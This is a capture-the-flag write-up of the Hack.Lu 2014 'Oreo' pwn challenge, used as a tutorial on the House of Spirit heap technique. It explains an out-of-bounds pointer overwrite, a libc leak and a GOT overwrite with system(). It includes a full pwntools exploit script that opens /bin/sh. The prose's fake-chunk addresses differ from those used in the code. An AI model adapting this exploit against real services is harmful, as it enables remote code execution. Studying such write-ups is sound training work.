Hack.Lu CTF 2014 PWN Oreo Write-up

Introduction

This is an old pwn challenge in Hack.Lu 2014. As part of my tutorial, I use this challenge to present the idea of House of Spirit.

Vulnerability Analysis

The vulnerability is clear in this challenge. The node structure used to store a rifle info is defined as following:

struct node{
    char name[26];
    char desc[26];
    node *prev;
}

During the process of creating a node, there exists an out-of-bound vulnerability that enables attacker to overwrite the prev pointer.

Exploit Plan

Information leakage: Since we can overwrite the prev pointer of the current node, we overwrite the pointer to be 0x804a280, where stdin is located and leak the base of libc via displaying the rifle info.
Control Flow Hijacking: Our aim in this exploit is to overwrite the function pointer in sscanf@got.plt (at 0x804a258). To achieve this goal, we need to create a fake chunk at 0x80482a8 and the fake adjacent next chunk at 0x80482e8. Both chunks are of size 0x40. After preparing those data in memory, we overwrite the prev pointer with 0x80482a8 and free the list.
After that, chunk at 0x80482a8 is now inserted into the fastbin. Create a new rifle node and overwrite the value at 0x80482a8 to be 0x804a258. Then we can use the “Leave Message” option to overwrite the function pointer at 0x804a258.

Exploit


from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("1.2.3.4", 23333);
elif(DEBUG == 1):
    r = process("./oreo");
elif(DEBUG == 2):
    r = process("./oreo");
    gdb.attach(r, '''source ./script''');

def halt():
    while(True):
        log.info(r.recvline());

def addRifle(name, description):
    r.sendline("1");
    r.sendline(name);
    r.sendline(description);

def showRifle():
    r.sendline("2");

def order():
    r.sendline("3");

def leaveMessage(message):
    r.sendline("4");
    r.sendline(message);

def exploit():
    libc = ELF("/lib32/libc-2.24.so");
    addRifle("B"*0x1b+p32(0x804a280), "3"*0x10);
    showRifle();

    r.recvuntil("Description:");
    r.recvuntil("Description: ");
    leakedValue = u32( r.recv(4));
    log.info("leaked value: 0x%x" % leakedValue);

    libcBase = leakedValue - libc.symbols["_IO_2_1_stdin_"];
    log.info("libc base address: 0x%x" % libcBase);

    for i in range(0, 0x3f):
        addRifle("A"*0x1b+p32(0), "junk");
        order();

    addRifle("B"*0x1b + p32(0x804a2a8), "junk");
    leaveMessage(p32(0)*9 + p32(0x41));
    order();

    addRifle("ABCD", p32(0x804a258));
    systemAddr = libcBase + libc.symbols["system"];
    leaveMessage(p32(systemAddr));
    r.sendline("/bin/sh;");
    r.interactive();

exploit();

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.